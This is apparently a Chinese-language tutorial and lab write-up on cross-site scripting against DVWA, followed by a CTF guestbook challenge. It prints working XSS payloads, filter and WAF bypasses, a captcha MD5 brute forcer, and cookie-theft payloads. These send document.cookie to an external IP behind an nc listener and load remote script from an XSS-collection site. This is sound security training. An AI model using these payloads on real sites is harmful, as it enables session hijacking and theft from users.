xss --->跨站脚本攻击(Cross Site Script),缩写CSS,但是为了和层叠样式表(CSS)有所区别,在安全领域叫xss。
作用 --->通过HTML注入篡改网页,插入恶意脚本,控制用户浏览器的一种攻击。
三种xss类型
1、反射型xss
2、存储型xss
3、DOM Based xss型(反射型的一种,因为特殊故意分出来)
环境
DVWA
burpsuite
chrome
DVWA在线平台:---> https://bbs.pediy.com/thread-218653.htm
反射型xss
特点: 有输入框
作用: 读取浏览器Cookie对象
困难: 难以诱使用户点击出发。
xss payload-->实际上就是JavsScript脚本
1、low等级测试
尝试简单的payload=<script>alert(1)</script>
--->成功
尝试读取Cookie ---> payload=<script>alert(document.cookie)</script>
-->成功读取,如下
2、medium等级测试
尝试简单的payload=
<script>alert('xss')</script>
--->失败
因为JavaScript不区分大小写,尝试payload=<sCript>alert('xss')</sCript>
--->成功
尝试读取Cookie ---> payload=<sCript>alert(document.cookie)</sCript>
-->成功读取
查看源码发现----> 将输入的<script>
替换成空。
3、high等级测试
尝试简单,大小写替换,发现都不行。查看源码发现
根据正则表达式过滤,提交内容只要有script顺序出现的字母都一律过滤掉,只是过滤了script标签,但是有一些javascript事件后仍然能执行javascript代码。
比如利用javascript的错误onerror事件弹窗。
payload=<img src=# onerror=alert(22)>
(加载一张不存在的图片,导致错误,执行onerror函数导致弹窗)--->成功。
4、这样的xss得到自己的cookie,那怎么样得到别人的cookie呢?
利用看下面例题1
存储型xss
特点: 有输入框,将内容存储在服务器上
作用: 读取浏览器Cookie对象
优势: 客户打开网页自动盗窃cookie
可以将黑客构造的恶意代码存储在服务器上,用户只要访问插入恶意代码的网站就能触发。
1、low等级测试
在Name中输入发现有字符限制,前端浏览器的检测。f12或者bp直接修改长度即可以。
Name尝试简单的payload= <script>alert('xss')</script> --->成功
Message尝试简单的payload= <script>alert('xss')</script> --->成功
查看源代码发现,将Name与Message都存储在数据库中。当其它电脑打开这个网页的时候,发现会自动跳出xss,说明这个存储xss成功执行。
2、medium等级测试
因为这是存储型,需要重新重置数据库,不然会因为low测试影响。
在Name中输入发现有字符限制,前端浏览器的检测。f12或者bp直接修改长度即可以。
Name尝试简单的payload= <script>alert('xss')</script> --->失败
Name尝试简单的payload= <sCript>alert('xss')</sCript> --->成功
查看源代码发现,Name直接过滤掉<script>
,其它没有做处理。而Message则是调用htmlspecialchars转义,不存在xss。
3、high等级测试
因为这是存储型,需要重新重置数据库,不然会因为low测试影响。
在Name中输入发现有字符限制,前端浏览器的检测。f12或者bp直接修改长度即可以。
查看源码发现,根据正则表达式过滤,提交内容只要有script顺序出现的字母都一律过滤掉,只是过滤了script标签,但是有一些javascript事件后仍然能执行javascript代码。比如利用javascript的错误onerror事件弹窗。
Name尝试简单的payload=<img src=# onerror=alert("xss")>
(加载一张不存在的图片,导致错误,执行onerror函数导致弹窗)--->成功。
4、怎么样盗窃别人的cookie呢?
将恶意代码[paylaod]注入网页
<script>window.location.href='http://45.77.192.47:80/?cookie='+document.cookie</script>
开启监听80端口
nc -nvlp 80
DOM xss
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
可能触发 DOM 型 XSS 的属性:
document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性
1、low等级测试
有个选择语言按钮,f12发现选择语言有documen.write属性。
尝试直接在选择语言后的url加
payload=?default=English<script>alert('xss')</script>
--->成功
2、medium等级测试
不允许出现script标签,否则就将default的值设为默认的English,stripos还防止了大小写绕过 ,url中有一个字符为#,该字符后的数据不会发送到服务器端
payload=?default=English>/option></select><img src=1 onerror=alert(/xss/)>
3、high等级测试
服务器后端判断,要求default的值必须为select选择菜单中的值,这里继续用上面的#
符号绕过即可,
paylaod=?default=English #<script>alert(/xss/)</script>
防御
1、XSS的防御一定要完整的过滤转义<>这一对标签
2、php后端调用htmlspecialchars转义
绕过方式
paydload
payload1=<object data="javascript:alert(document.cookie);">
payload2=<script>alert(1);</script>
1、html编码
2、其它标签
3、大小写绕过
题目1
打开题目发现留言板
图片.png
验证码
发现需要验证码,找一个submd5.py
[python3]
import hashlib
from multiprocessing.dummy import Pool as ThreadPool
# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=60b7ef
def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()
keymd5 = '800d2' #已知的md5截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 5
def findmd5(sss): # 输入范围 里面会进行md5测试
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
# print(md5(i)[md5start:md5length])
if md5(i)[md5start:md5length] == keymd5: # 拿到加密字符串
result = i
print(result) # 打印
break
list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()
一般都是6位数字,1分钟应该可以跑出来。
waf
随手测试发现存在waf,利用burpsuite的intruder功能,跑一边ascii字符:
尝试html实体编码绕过,然后进行url编码,成功绕过。这里提供html_To_url部分编码,防止编码后长度过长。
s='alert(1);'
k=''
for i in s:
if '#'==i:
k+='%23'
elif '&'==i:
k+='%26'
else:
k+=i
print(k)
preview点击,查看源代码
发现url--->
http://124.16.75.161:40002/guestbook.php?message=&action=preview&captcha=
,尝试xss注入。图片.png success
再次查看代码:
图片.png
发现插入的值在onerror里面。这里可以弹窗,那么利用xss获取cookie。
利用XSS platform平台获取cookie
找到一能接受cookie的服务器,这里我用https://xsshs.cn/xss.php?do=login
这个平台来接收。
1、创建一个项目
2、选择payload
图片.png
payload=<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='https://xsshs.cn/X9O0';>
3、存在xss的网站使用payload
根据前面分析,发现最后将值存储在onerror里面,修改payload为
payload=s=createElement('script');body.appendChild(s);s.src='https://xsshs.cn/X9O0';
获取cookie
cookie
4、利用paylaod获取的cookie,访问
回到Guest Book页面,利用paylaod直接发生,不过还得html实体编码,不过post发送就没有用url编码了。访问得到flag
flag
成功
网友评论